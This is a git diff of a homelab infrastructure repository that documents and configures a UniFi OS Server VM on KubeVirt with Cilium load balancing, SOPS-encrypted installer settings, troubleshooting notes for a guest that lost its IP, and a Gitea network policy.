+> - `longhorn-vm` StorageClass — **live**; `unifi-rootdisk` PVC Bound, **40Gi, RWX, Block**.
+> - CDI import — **Succeeded** (100%).
+> - VM — **Running** on **`k3s-prod-1`**, guest agent connected, Ubuntu 24.04.4 LTS,
+>   `LiveMigratable=True` / `StorageLiveMigratable=True`. VMI age 34h, VM 8d.
+> - L4 LoadBalancer VIP **`192.168.2.21`** — allocated and held on both Services.
+> - **UniFi OS Server IS INSTALLED.** This reverses the previous entry here. See below.
+> - **The guest has no IP address.** That — not a missing install — is why `:11443`, `:8443` and
+>   `:8080` refuse connections.
+
+## What is actually wrong (2026-09-14)
+
+The earlier note in this file said "UOS is NOT installed; the guest is a bare, prepped Ubuntu".
+That was wrong, and acting on it would have meant reinstalling over a working controller.
+
+Evidence, all read-only, from the live cluster:
+
+| Claim | How it was checked | Result |
+|---|---|---|
+| UOS is installed | `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` | the current boot starts **`uosserver.service` — UniFi OS Server Service** and **`uosserver-updater.service`** |
+| …and it is a real install, not a stub | KubeVirt guest-agent `filesystemlist` subresource | `/` is **6.3 GB used of 40 GB** — a bare Ubuntu cloud image with our packages is ~2 GB |
+| the guest has no IP | `kubectl -n unifi get vmi unifi -o json` → `.status.interfaces` | `enp1s0`, `linkState: up`, **no `ipAddress` field at all**; the `kubectl get vmi` IP column is empty |
+| …confirmed at the link layer | `kubectl -n unifi exec virt-launcher-… -c compute -- ip neigh` | **`10.0.2.2 dev k6t-eth0 FAILED`** — the guest does not answer ARP for its masquerade address |
+| the ports are dead end-to-end | `/dev/tcp` probes from inside virt-launcher, to the pod IP **and** to `10.0.2.2` directly | 11443 / 8443 / 8080 / **22** all refused — i.e. the VIP and the CNP are exonerated |
+
+So the controller is installed and its units start; nothing downstream of the guest's own network
+stack can work. The interface was fine at boot (the console log reaches `network-online.target` at
+~10s and cloud-init completes at 18.5s), so the address was lost afterwards — the obvious suspect is
+UOS taking over host networking, but **that has not been proven and cannot be, from outside the
+guest.** Diagnosing it needs a shell, which is the second problem below.
+
+**There is currently no way into this guest.** The shipped cloud-init installs no SSH key and sets
+no password, so the stock `ubuntu` account is locked and a serial console reaches a login prompt
+nobody can answer. SSH would not rescue it either: the masquerade interface forwards **only** the
+ports declared in `30-virtualmachine.yaml`, and 22 is not one of them — the probe above shows the
+guest RSTs on 22 exactly as it does on 11443. Closing that hole is what `console-password` in the
+new Secret is for.
 
 ## What this is
 
@@ -29,24 +59,39 @@ datastore** inside a Podman container stack — so **no separate MongoDB compani
 | `namespace.yaml` | `unifi` namespace: app-namespace label (Kyverno + default-deny apply), `gateway-access=shared`, backup annotation |
 | `10-default-deny.yaml` | R-NET-01 baseline: deny all, allow only DNS |
 | `20-datavolume.yaml` | CDI **http** import of the Ubuntu 24.04 cloud image onto a `longhorn-vm` **RWX/Block** disk (**40Gi**). First real CDI http import on the cluster |
-| `30-virtualmachine.yaml` | The VM: 2 vCPU / 4Gi, `running: true`, `evictionStrategy: LiveMigrate`, minimal **inline** cloud-init (SSH key, qemu-guest-agent, Podman prep) |
+| `30-virtualmachine.yaml` | The VM: 2 vCPU / 4Gi, `running: true`, `evictionStrategy: LiveMigrate`, a **pinned firmware UUID** (= the cloud-init instance-id), the **UOSDATA secret disk**, and a minimal **inline** cloud-init that installs `install-uos` + a per-boot systemd unit |
 | `40-networkpolicy.yaml` | Additive CNP allows: L4 ingress ports, controller world+DNS egress, and CDI-importer egress |
-| `50-service-l4.yaml` | Two `type=LoadBalancer` Services (TCP+UDP) sharing **one pinned Cilium VIP** `192.168.1.54`; external-dns A record |
+| `50-service-l4.yaml` | Two `type=LoadBalancer` Services (TCP+UDP) sharing **one pinned Cilium VIP** `${UNIFI_L4_VIP}` (prod **192.168.2.21**); external-dns A record |
+| `unifi-uos-installer.sops.yaml` | **SOPS-encrypted.** The operator's UOS installer URL + guest console password, mounted into the guest as a disk |
+| `unifi-uos-installer.sops.yaml.example` | Plaintext template + the operator hand-off steps (never applied, never encrypted) |
 | `kustomization.yaml` | The reconciled resource list (referenced by `apps/vms/kustomization.yaml`) |
 
-The optional L7 HTTPRoute (`90-httproute-optional.yaml`) was **dropped**, not merely disabled: UOS
-serves HTTPS on `:11443`, so a Gateway route needs a `BackendTLSPolicy` that is not confirmed on
-this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that lands.
+The optional L7 HTTPRoute was **dropped, and the file does not exist**: UOS serves HTTPS on
+`:11443`, so a Gateway route needs a `BackendTLSPolicy` that is not confirmed on this Cilium
+version. Browser access is via the L4 VIP. Re-add it if/when that lands.
 
-### Cloud-init delivery — two constraints learned the hard way
+### Cloud-init delivery — three constraints, all measured on the deployed KubeVirt (v1.9.0)
 
-1. **KubeVirt caps inline `userData` at 2048 bytes.** The original rich cloud-init (full Podman
-   prep + `install-uos` helper) blew past it. A `userDataSecretRef` was tried, then reverted; the
-   shipped config is a **minimal ~1.1 KB inline `userData`**. Keep additions small or move to a
-   Secret deliberately.
-2. **`apps-vms` must NOT use `postBuild.substituteFrom`.** Flux variable substitution rewrote
-   `$`-bearing text inside the cloud-init payload and **corrupted it**. `clusters/base/apps-vms.yaml`
-   therefore carries no `substituteFrom` — unlike every app wave. Do not "restore" it for consistency.
+1. **Inline `userData` is capped at 2048 bytes.** MEASURED, not quoted: a server-side dry-run apply
+   of an otherwise-identical VM accepted 2048 bytes and rejected 2049 with *"cloudInitNoCloud
+   userdata exceeds 2048 byte limit. Should use UserDataSecretRef for larger data."* The shipped
+   payload is ~1.45 KB. The API field for the escape hatch is spelled **`secretRef`** (the Go name
+   is `UserDataSecretRef`); `userDataSecretRef` is not a YAML key and trying it will silently
+   validate as an unknown field.
+2. **The firmware UUID is the cloud-init instance-id, and editing `userData` alone changes
+   nothing.** The NoCloud seed's `instance-id` is exactly
+   `spec.template.spec.domain.firmware.uuid`, which KubeVirt's webhook stamps onto the **VM object**
+   (so it survives restarts), and cloud-init's NoCloud datasource compares it to the guest's DMI
+   product UUID. Same id → cached datasource restored, new payload never read, `write_files` and
+   `runcmd` skipped. This is why the previously shipped "unattended install" could never have taken
+   effect on a second boot. The UUID is now **pinned in git**, with bumping it as the documented way
+   to force a re-run. See the long comment in `30-virtualmachine.yaml`.
+3. **`apps-vms` DOES use `postBuild.substituteFrom`.** This file used to say it must not — that has
+   been false since 2026-08-31, when `${UNIFI_L4_VIP}` landed in `50-service-l4.yaml`. Flux's
+   envsubst therefore runs over the cloud-init payload, and the escape contract in
+   `clusters/base/apps-vms.yaml` is in force. Bare `$name` and `$(cmd)` are left alone (verified
+   against the live VMI's rendered userData); brace-form shell expansion must be escaped; an
+   indexed expansion is a hard error that fails the whole Kustomization.
 
 ### Node prerequisites this VM forced onto the cluster
 
@@ -56,15 +101,31 @@ this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that la
 - **`longhorn-scratch`** — a single-replica StorageClass for CDI scratch space; the default
   3-replica class made the import fail with insufficient storage.
 
-## UOS install method (researched)
+## UOS install method (researched 2026-09-14)
 
-- **Host:** Ubuntu 24.04 LTS x86-64, systemd, **Podman 4.9.3+**, `slirp4netns` 1.2+, `uidmap`. Min
-  2 GB RAM / 10 GB disk (we give 4 GB / 60 GB). Podman must be at `/usr/bin/podman`.
-- **Install:** download the signed installer from `fw-download.ubnt.com` (URL obtained from
-  `ui.com/download/software/unifi-os-server`), `chmod +x`, run **as root**. UI then on
-  **`https://<host>:11443`**.
-- **Confidence:** *High* on requirements, ports, and the download→chmod→run shape (multiple
-  independent 2025–2026 sources agree). *Lower* on **fully unattended** install — see risks.
+- **Host:** Ubuntu 24.04 LTS x86-64, systemd, **Podman 4.9.3+**, `slirp4netns` 1.2+, `uidmap`.
+  Vendor/community minimum is 2 vCPU / 4 GB RAM / ~25 GB disk; we give **2 vCPU / 4 GiB / 40Gi**
+  (the 40Gi figure is the DataVolume and the Bound PVC — an earlier "60 GB" claim here was wrong).
+  Podman must be at `/usr/bin/podman`.
+- **Install:** obtain the download link from `ui.com/download/software/unifi-os-server` while signed
+  in to a (free) Ubiquiti account, `chmod +x`, run **as root**. UI then on **`https://<host>:11443`**.
+- **Is the URL a short-lived signed link?** *Probably not.* The links look like
+  `https://fw-download.ubnt.com/data/unifi-os-server/<hash>-linux-x64-<version>-<uuid>.<n>-x64` with
+  **no signature query string**, and public community installers hard-code them. It is
+  account-derived and per-release, not time-limited. It is kept in SOPS anyway — cheap, and it keeps
+  account-derived material out of plaintext config — but do **not** build logic around expiry.
+- **Can it run unattended? Yes in practice, no officially — and this is the honest answer.**
+  Ubiquiti documents no `--silent` flag, no answer file and no environment variables. What the
+  ecosystem actually does is pipe confirmations in: the widely used community installer
+  (`dgodibadze/UniFi_OS_Server`) runs `yes y | "$file" install`, and vendor-adjacent walkthroughs run
+  either `./<binary> install` or a bare `sudo ./<binary>`. `install-uos` therefore does
+  `yes y | $t install || yes y | $t` — the documented-by-practice form first, the bare form as a
+  fallback for builds that take no subcommand. **This has not been executed end-to-end on our guest**
+  (no URL has been supplied, and UOS is already installed here), so treat it as "established by
+  convergent third-party practice", not as verified-by-us.
+- The previously shipped helper had two defects worth recording: it resolved the URL from
+  `fw-update.ui.com/api/firmware-latest`, an endpoint nothing in this repo ever verified lists
+  `unifi-os-server`, and it invoked the binary with **no `install` subcommand**.
 
 ### Ports (device adoption needs the L4 ones — the L7 Gateway cannot express them)
 
@@ -78,76 +139,143 @@ this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that la
 | 3478 | UDP | **STUN** (device ⇄ controller) |
 | 10001 | UDP | **L2 device discovery** |
 
+**22/TCP is deliberately absent**, and that is load-bearing: a masquerade interface forwards only
+the ports it declares, so SSH into this guest is impossible by construction. Use the serial console.
+
 ## L4 exposure design (the hard part)
 
 The shared Gateway is L7 HTTPS only (`:443` host-routed). It **cannot** carry raw TCP `8080`/`6789`
 or any UDP (`3478`/`10001`) — exactly the ports adoption rides. So:
 
 - **One VIP, two Services.** `unifi-l4-tcp` + `unifi-l4-udp` share a single LoadBalancer IP via
-  Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned to **`192.168.1.54`** (`lbipam.cilium.io/ips`).
-  The VIP is pulled from the existing `default-pool` (192.168.1.53–.60) and **ARP-announced on the
-  flat LAN by the existing `default-l2` CiliumL2AnnouncementPolicy** — no new Cilium config.
+  Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned through `${UNIFI_L4_VIP}`
+  (`lbipam.cilium.io/ips`) — **192.168.2.21 on prod**. The VIP comes from the existing
+  `default-pool`, whose live prod block is **192.168.2.20–192.168.2.30** with **192.168.2.20 held by
+  the shared Gateway** (`cilium-gateway-shared`), and is ARP-announced on the flat LAN by the
+  existing `default-l2` CiliumL2AnnouncementPolicy — no new Cilium config. (The `192.168.1.53–.60`
+  / `.53` figures this section used to quote were **dev** addressing and are gone; dev has been
+  decommissioned. Neighbours in the prod pool today: `.22` crafty, `.23` pihole-dns.)
 - `selector: kubevirt.io/vm=unifi` → the virt-launcher pod; the VM's `masquerade` iface forwards the
-  declared ports into the guest. `externalTrafficPolicy: Local` preserves LAN client source IP.
-- **Device-adoption story:** point devices' **inform host** at the VIP (`http://192.168.1.54:8080/inform`)
-  — via the controller's *Override inform host* setting, `set-inform` on the device, or DHCP option 43.
-  Because the VIP is L2-announced on the devices' own subnet (192.168.1.0/24), unicast inform + STUN
-  reach it. **Limitation:** broadcast-based L2 auto-discovery (10001/udp) does **not** cross the pod
-  masquerade boundary, so zero-touch "device just appears" adoption is unreliable — expect to use
-  explicit inform. Devices on other VLANs must route to the VIP and be inform-pointed anyway.
-- **Reusable pattern (== the deferred `minecraft` :25565 problem):** L4-only workload → Cilium
-  LoadBalancer on a pinned, L2-announced VIP with a per-app sharing key, A record via external-dns.
-  `minecraft` is the single-TCP-port special case of this multi-port TCP+UDP design.
+  declared ports into the guest.
+- **`externalTrafficPolicy: Cluster`, corrected 2026-09-14 after an 8-day LAN outage.** This file
+  used to advertise `Local` "to preserve the LAN client source IP". Both halves were false here:
+  Cilium's L2 announcer elects a lease holder without regard to which node holds a backend (the
+  leases sat on `k3s-prod-2` while the VM ran on `k3s-prod-1`, so `Local` had nowhere to forward),
+  and KubeVirt's `masquerade` binding had already NATed the client IP away before the guest ever saw
+  it. The full reasoning — including why `40-networkpolicy.yaml` needs no `remote-node` entry and
+  why no `loadBalancerSourceRanges` was added — is in `50-service-l4.yaml`.
+- **Device-adoption story:** point devices' **inform host** at the VIP
+  (`http://192.168.2.21:8080/inform`) — via the controller's *Override inform host* setting,
+  `set-inform` on the device, or DHCP option 43. Because the VIP is L2-announced on the devices' own
+  subnet (**192.168.2.0/24**, `LAN_CIDR`), unicast inform + STUN reach it. **Limitation:**
+  broadcast-based L2 auto-discovery (10001/udp) does **not** cross the pod masquerade boundary, so
+  zero-touch "device just appears" adoption is unreliable — expect to use explicit inform. Devices
+  on other VLANs must route to the VIP and be inform-pointed anyway.
+- **Reusable pattern:** L4-only workload → Cilium LoadBalancer on a pinned, L2-announced VIP with a
+  per-app sharing key, A record via external-dns. `crafty` (`.22`) is the same shape and is live.
 
-**UI access:** `https://unifi.home.keithjackson.dev:11443` (A record → VIP). The port-less
-`https://unifi.home.keithjackson.dev` via the Gateway is optional and needs a BackendTLSPolicy
-(UOS is HTTPS-only on 11443) — see `90-httproute-optional.yaml`.
+**UI access:** `https://unifi.home.keithjackson.dev:11443`. That name resolves to the VIP and not to
+the Gateway on purpose: both `platform/coredns/coredns-custom.yaml` (in-cluster) and
+`apps/wave-0/pihole.yaml` (LAN split-horizon) carve `unifi.${BASE_DOMAIN}` out of the
+zone-wide `${GATEWAY_VIP}` answer and point it at `${UNIFI_L4_VIP}`. `${BASE_DOMAIN}` on prod is the
+apex `home.keithjackson.dev` (confirmed live in the `cluster-vars` ConfigMap) after the 2026-09-13
+flip, so this hostname is current, not a dev leftover.
+
+## The operator's one field — installing UOS without a shell
+
+`unifi-uos-installer.sops.yaml` is a SOPS-encrypted Secret with two keys. KubeVirt mounts it into
+the guest as a read-only iso9660 disk labelled `UOSDATA` (one file per key), and an in-guest
+`uos-install.service` reads it **on every boot**:
+
+```bash
+sops apps/vms/unifi/unifi-uos-installer.sops.yaml    # fill installer-url and/or console-password
+git commit && git push                               # merge to the branch prod's Flux tracks
+kubectl -n unifi delete vmi unifi                    # `running: true` recreates it; no virtctl needed
+kubectl -n unifi logs -f $(kubectl -n unifi get pod -l kubevirt.io=virt-launcher -o name | head -1) \
+  -c guest-console-log                               # watch the boot + the install, read-only
+```
+
+Design notes that matter if you change this:
+
+- **The Secret is a disk, not `cloudInitNoCloud.secretRef`.** `secretRef` would lift the 2048-byte
+  cap but would move the whole cloud-config into ciphertext: unreviewable in diffs, invisible to the
+  L0 dollar-collapse guard, and still subject to Flux's envsubst (which runs over **decrypted**
+  resources) — the exact shape of the 2026-09-13 `nextcloud-db` incident. Script in plaintext,
+  operator values in SOPS.
+- **A URL change needs no UUID bump.** The disk is rebuilt from the Secret on every VMI start and
+  the systemd unit re-reads it every boot. Only a change to the cloud-init payload itself needs the
+  firmware-UUID bump.
+- **`install-uos` will not reinstall over a working controller.** It exits as soon as systemd knows
+  a `uosserver.service`, with `/var/lib/uos-installed` as a weaker second guard. Given the live
+  guest already has UOS, this guard is the difference between "safe to merge" and "destroys the
+  controller on next boot".
+- **`apps-vms` had no SOPS `decryption` stanza** — this is the first encrypted content under
+  `apps/vms/`, so the stanza was added to both `clusters/dev/kustomization.yaml` and
+  `clusters/prod/kustomization.yaml`. Without it kustomize hands Flux the raw SOPS document and the
+  guest mounts a disk full of ciphertext, with the cluster reporting everything healthy.
 
 ## Open questions / risks
 
-1. **Unattended install (HIGH) — STILL OPEN. This is the blocker.** The installer is a **signed,
-   account-tied** URL that **rotates/expires** (cannot be committed) and is documented as
-   **interactive** (no official silent flag). The shipped cloud-init had to be cut to ~1.1 KB for
-   the inline `userData` limit, so the `install-uos` helper is **no longer baked into the guest**.
-   **Decision needed:** operator runs the install by hand at bring-up (current de-facto answer), or
-   invest in a verified silent path (Secret-delivered cloud-init + a fetched-at-boot URL).
-2. **CDI http import (MEDIUM) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
+1. **The guest lost its IP (HIGH) — THE LIVE BLOCKER, and it needs the operator.** Diagnosis
+   requires a shell, which requires `console-password` above plus one restart. First things to run
+   on the console: `ip -4 a`, `networkctl status enp1s0`, `journalctl -u systemd-networkd`,
+   `ls /etc/netplan`, and `systemctl status uosserver`. A plain restart may well restore DHCP on its
+   own (the address survived the first ~34h of this boot's life), but that would hide the cause, so
+   capture the state before rebooting a second time if you can.
+2. **Unattended install (MEDIUM) — mechanism shipped, end-to-end run NOT witnessed.** See the
+   install-method section: no official silent flag exists, `yes y | <installer> install` is the
+   convergent community practice, and it has not been executed on our guest. Treat the first real
+   install as something to watch on the console log, not as a fire-and-forget.
+3. **CDI http import (LOW) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
    import on this cluster). Still no checksum on an http source, and the URL tracks a *moving*
    Ubuntu 24.04 build — pin a dated build dir if reproducibility matters. Needed two cluster-level
    fixes (`nonroot-devices`, `longhorn-scratch`) — see above.
-3. **Boot firmware (LOW) — RESOLVED.** Boots as shipped; running Ubuntu 24.04.4 LTS.
-4. **VIP `192.168.1.54` (LOW) — RESOLVED.** Allocated and held by both Services, inside the
-   `192.168.1.53–.60` pool (`.53` is the shared Gateway).
-5. **Longhorn RWX prerequisite (was BLOCKING) — RESOLVED.** `longhorn-vm` is live (RWX / Block /
+4. **Boot firmware (LOW) — RESOLVED.** Boots as shipped; running Ubuntu 24.04.4 LTS.
+5. **VIP `192.168.2.21` (LOW) — RESOLVED.** Allocated and held by both Services, inside the live
+   prod pool `192.168.2.20–.30`, not colliding with the Gateway (`.20`), crafty (`.22`), pihole-dns
+   (`.23`) or the node addresses (`.10/.11/.12`).
+6. **Longhorn RWX prerequisite (was BLOCKING) — RESOLVED.** `longhorn-vm` is live (RWX / Block /
    migratable); the VMI reports `LiveMigratable=True` and `StorageLiveMigratable=True`.
-6. **Licensing (LOW).** UOS self-host is free; a Ubiquiti account is needed only to fetch the
+7. **Licensing (LOW).** UOS self-host is free; a Ubiquiti account is needed only to fetch the
    installer and for optional remote access.
-7. **Broadcast adoption (LOW, by design).** L2 auto-discovery (`10001/udp`) does not cross the pod
+8. **Broadcast adoption (LOW, by design).** L2 auto-discovery (`10001/udp`) does not cross the pod
    masquerade boundary — see the L4 section. Expect explicit inform-host adoption.
+9. **No `virtctl` in the devcontainer (LOW).** Restart and read-only console both work with plain
+   `kubectl` (above). An *interactive* console — the thing `console-password` unlocks — needs
+   `virtctl` on the operator's path; it is a single static binary from the KubeVirt release matching
+   the cluster's **v1.9.0**.
 
 ## Remaining bring-up
 
-Steps 1–4 below are **done**. The sequence is kept because it is also the recovery/rebuild runbook.
+Steps 1–5 are **done**. The sequence is kept because it is also the recovery/rebuild runbook, so it
+is written for a from-scratch cluster; the prod addresses are the live ones.
 
-1. ~~`longhorn-vm` StorageClass live; `192.168.1.54` free.~~ **Done.**
+1. ~~`longhorn-vm` StorageClass live; a free address in the LB pool.~~ **Done** (`192.168.2.21`).
 2. ~~Wire into a reconciled path~~ — **done**, via `apps/vms/` + the non-gating `apps-vms`
-   Kustomization (not an app wave).
+   Kustomization (not an app wave), including its SOPS `decryption` stanza in both overlays.
 3. ~~CDI import~~ — **done**: `kubectl -n unifi get dv unifi-rootdisk` → `Succeeded`.
 4. ~~VM + VIP~~ — **done**: `kubectl -n unifi get vmi unifi` → `Running`; both Services show
-   `192.168.1.54`.
-5. **→ NEXT: install UOS in the guest.** SSH in (the inline cloud-init installs the operator's key
-   and `qemu-guest-agent`) or `virtctl console unifi`, fetch the signed installer URL from
-   ui.com/download/software/unifi-os-server, then `chmod +x` and run it **as root**.
-6. Verify the UI: `https://unifi.home.keithjackson.dev:11443` (or `https://192.168.1.54:11443`),
+   `192.168.2.21`.
+5. ~~Install UOS in the guest~~ — **done** (it was already done when this file claimed otherwise;
+   `uosserver.service` starts on every boot). On a REBUILD this is where the Secret does the work:
+   fill `installer-url`, commit, and the guest installs itself on first boot.
+6. **→ NEXT, and it is the operator's:** fill `console-password`, restart the VM once, get on the
+   console and find out why `enp1s0` has no address. Until that is fixed nothing below can pass.
+7. Verify the UI: `https://unifi.home.keithjackson.dev:11443` (or `https://192.168.2.21:11443`),
    complete the first-run wizard.
-7. Verify DNS: `dig unifi.home.keithjackson.dev` → `192.168.1.54` on the cluster LAN.
-8. Adopt a device: set its inform to `http://192.168.1.54:8080/inform`; confirm it appears + STUN
+8. Verify DNS: `dig unifi.home.keithjackson.dev` → `192.168.2.21` from a LAN client (pihole
+   split-horizon) and from in-cluster (coredns-custom).
+9. Adopt a device: set its inform to `http://192.168.2.21:8080/inform`; confirm it appears + STUN
    connects (green). Test guest portal / throughput if used.
-9. Verify default-deny holds: only the declared L4 ports reachable; VM egress limited to world+DNS.
-10. (Optional) Re-add the L7 HTTPRoute once `BackendTLSPolicy` is confirmed on this Cilium version.
+10. Verify default-deny holds: only the declared L4 ports reachable; VM egress limited to world+DNS.
+11. (Optional) Re-add the L7 HTTPRoute once `BackendTLSPolicy` is confirmed on this Cilium version.
 
 **Quick health check today:**
 ```bash
 kubectl -n unifi get dv,vmi,svc
 kubectl -n unifi get vmi unifi -o jsonpath='{.status.guestOSInfo.prettyName}{"\n"}'
+# the two that would have caught the current failure:
+kubectl -n unifi get vmi unifi -o jsonpath='{.status.interfaces}{"\n"}'   # expect an ipAddress
+kubectl -n unifi exec "$(kubectl -n unifi get pod -l kubevirt.io=virt-launcher -o name | head -1)" \
+  -c compute -- ip neigh                                                 # expect 10.0.2.2 REACHABLE
 ```

apps/vms/unifi/kustomization.yaml

@@ -11,3 +11,11 @@ resources:
   - 30-virtualmachine.yaml
   - 40-networkpolicy.yaml
   - 50-service-l4.yaml
+  # SOPS-encrypted. Carries the operator's UOS installer URL (+ optional SSH key) and is mounted
+  # into the guest as the UOSDATA disk by 30-virtualmachine.yaml. Decrypted by the `apps-vms` Flux
+  # Kustomization, which clusters/dev and clusters/prod patch with the `decryption` stanza — the
+  # FIRST encrypted content under apps/vms, so that patch was added with this file. The plaintext
+  # template + the operator hand-off steps live in the `.example` sibling of the file below, which
+  # is deliberately NOT named here: the L0 no-plaintext-secrets check fails any kustomization whose
+  # text contains an example template's filename, on the assumption it is being applied.
+  - unifi-uos-installer.sops.yaml

apps/vms/unifi/unifi-uos-installer.sops.yaml

@@ -0,0 +1,29 @@
+apiVersion: v1
+kind: Secret
+metadata:
+    name: unifi-uos-installer
+    namespace: unifi
+type: Opaque
+stringData:
+    installer-url: ENC[AES256_GCM,data:pZo/fRSnUmZj2w==,iv:tBWMAL0NwCURCmfzx3UAtryCovcR+Rmh4DdtUiCi4Ig=,tag:ZfLicc3pBWujPHKqfSNOag==,type:str]
+    console-password: ENC[AES256_GCM,data:rQ6v6VjG4uoEShHic+zM,iv:nV7mTJFRsLvd67uZT+KyMrOhUVkERVv53LqsvcE5Qfs=,tag:9J/t2je48DRTVmppPqDfFQ==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB5M1RwWGhRKzNVenpzS25w
+            WW4vNHFURy9hMjRGeW0wdUJSaHN4MDFhSHlBCm1udi9NOWJ3RGdvOVNnRG9ZUlp4
+            TnVXRi90eFNSMjNVYVpUSmtFTURtU2MKLS0tIExPN2NRZW9CQXBKdUtCUkZSTXVO
+            cE9IcTM2RG9oMmt2Y0xsRExzUjYwUlEK6vq56tnnYvruNcCgijRUsfi3IreXt7fk
+            kgDevz3fOKkEJ3Y8+Mx3RBf3j6Za7L1lW7ft9TyTkBelRpj9bRD1Pg==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-09-19T02:47:13Z"
+    mac: ENC[AES256_GCM,data:DVJZQlHHb0U/F8oQ2iwPSTCvzHNynGZFW4MSHzW+LmNt8ozA7n2/U9prhRdrq3a1MHlaoGAkOFMGoQdZRR83CtZyP6oFoLiAMsRvNjNMgkaT1E3D7dzhjxAiTb+vQk9O467bH3ofm1+I/Ak3VFrNdjTtWFkWltW7MHB8njgPRPM=,iv:Sve3Z6RHKSWcdcEZtphBBmhRxjhfJHu9Dus2vb6K4+0=,tag:OrsGBPJVF1jtOAXCWNXG2Q==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/vms/unifi/unifi-uos-installer.sops.yaml.example

@@ -0,0 +1,71 @@
+# =============================================================================
+# TEMPLATE — NOT APPLIED, NOT ENCRYPTED (.yaml.example is ignored by kustomize and never
+# auto-encrypted by SOPS). Reference scaffold + OPERATOR HAND-OFF.
+#
+# WHAT THIS IS: the two values that (a) let the UniFi VM install UniFi OS Server by itself, with
+# nobody typing commands inside the guest, and (b) give the operator a way INTO that guest at all.
+# KubeVirt mounts this Secret into the VM as a tiny read-only iso9660 disk labelled `UOSDATA` (see
+# the `uosdata` volume in 30-virtualmachine.yaml); each key below becomes a file of the same name on
+# that disk, and the in-guest `uos-install.service` reads them on EVERY boot.
+#
+# READ THIS FIRST — UOS IS ALREADY INSTALLED ON THE LIVE PROD GUEST (verified 2026-09-14, see the
+# README "What is actually wrong"). `installer-url` is therefore NOT the fix for today's outage; it
+# is the rebuild path and the "the install never happened" path. `install-uos` refuses to run the
+# installer at all while systemd knows a `uosserver.service`, so filling this in cannot clobber a
+# working controller. `console-password` IS useful today: it is the only way to get a shell.
+#
+# WHY THE URL IS BEHIND SOPS: it is obtained through the operator's own (free) Ubiquiti account
+# session at ui.com/download/software/unifi-os-server, it identifies a specific build, and it is not
+# ours to redistribute. Treat it as account-derived material, not as public configuration.
+# HONEST CAVEAT, checked 2026-09-14: the resulting `https://fw-download.ubnt.com/data/
+# unifi-os-server/<hash>-linux-x64-<version>-<uuid>.<n>-x64` URL carries NO signature query string,
+# and public community install scripts hard-code these URLs — so it does not behave like a
+# short-lived signed link. It does change every release. Encrypting it costs nothing and keeps the
+# repo's "account-derived material is not config" line clean, but do NOT design around "it expires".
+#
+# HAND-OFF STEPS (operator) — this is the whole job:
+#  (a) Sign in at https://ui.com/download/software/unifi-os-server, pick the Linux (x64) build, and
+#      copy the download link (right-click -> Copy link address). Do NOT download it here; the guest
+#      fetches it itself.
+#  (b) Open the encrypted sibling in your editor:
+#         sops apps/vms/unifi/unifi-uos-installer.sops.yaml
+#  (c) Replace the two REPLACE-ME values. Either may be left as the placeholder — the guest skips a
+#      placeholder rather than failing.
+#  (d) Save/quit (sops re-encrypts in place), commit, push, merge to the branch prod tracks.
+#  (e) Restart the VM once so the new cloud-init instance and the new disk are picked up:
+#         kubectl -n unifi delete vmi unifi        # `running: true` recreates it; no virtctl needed
+#      Watch it come up WITHOUT virtctl:
+#         kubectl -n unifi logs -f $(kubectl -n unifi get pod -l kubevirt.io=virt-launcher \
+#           -o name | head -1) -c guest-console-log
+#  (f) UI: https://192.168.2.21:11443 (prod) or https://unifi.home.keithjackson.dev:11443.
+#
+# IF YOU LATER NEED A NEW URL (new release, dead link): repeat (b)-(e). No firmware-UUID bump is
+# needed for that — the disk is rebuilt from this Secret on every VMI start and the systemd unit
+# re-reads it every boot. The UUID bump in 30-virtualmachine.yaml is only needed when the cloud-init
+# payload ITSELF changes.
+#
+# The file is already listed under `resources:` in apps/vms/unifi/kustomization.yaml, and `apps-vms`
+# is patched with the SOPS `decryption` stanza in clusters/dev + clusters/prod.
+# =============================================================================
+apiVersion: v1
+kind: Secret
+metadata:
+  name: unifi-uos-installer
+  namespace: unifi
+type: Opaque
+stringData:
+  # KEY NAMES ARE LOAD-BEARING: each key becomes a FILE of that exact name on the UOSDATA disk, and
+  # /usr/local/sbin/install-uos reads them by path. Renaming a key breaks the install silently.
+  #
+  # The signed-in download link for UniFi OS Server, Linux x64. Anything that is not an https URL
+  # (this placeholder included) is treated by the guest as "not provided yet": the unit logs
+  # "UOS installer-url not set yet" and exits 0, so the VM stays healthy and simply does not install.
+  installer-url: REPLACE-ME
+  # Password set on the guest's `ubuntu` account on every boot, for `virtctl -n unifi console unifi`.
+  # THIS IS THE ONLY DOOR INTO THE GUEST. The stock Ubuntu 24.04 cloud image ships `ubuntu` locked,
+  # no key was ever installed, and an SSH key would not help: the VM's masquerade interface forwards
+  # only the ports declared in 30-virtualmachine.yaml and 22 is not among them (probed from inside
+  # virt-launcher, 2026-09-14 — the guest RSTs on 22 just as it does on 11443). Generate one with
+  #     openssl rand -base64 24
+  # Leave it as REPLACE-ME to keep the account locked; the script skips the placeholder by name.
+  console-password: REPLACE-ME

apps/wave-0/gitea.yaml

@@ -191,6 +191,27 @@ spec:
       - port: '3000'
         protocol: TCP
 ---
+# CiliumNetworkPolicy in-cluster client ingress allow (R-NET-02): gitea-allow-pm-agent-ingress
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: gitea-allow-pm-agent-ingress
+  namespace: gitea
+  labels:
+    app.kubernetes.io/name: gitea
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: gitea
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: pm-agent
+    toPorts:
+    - ports:
+      - port: '3000'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): gitea-allow-internet-egress
 apiVersion: cilium.io/v2
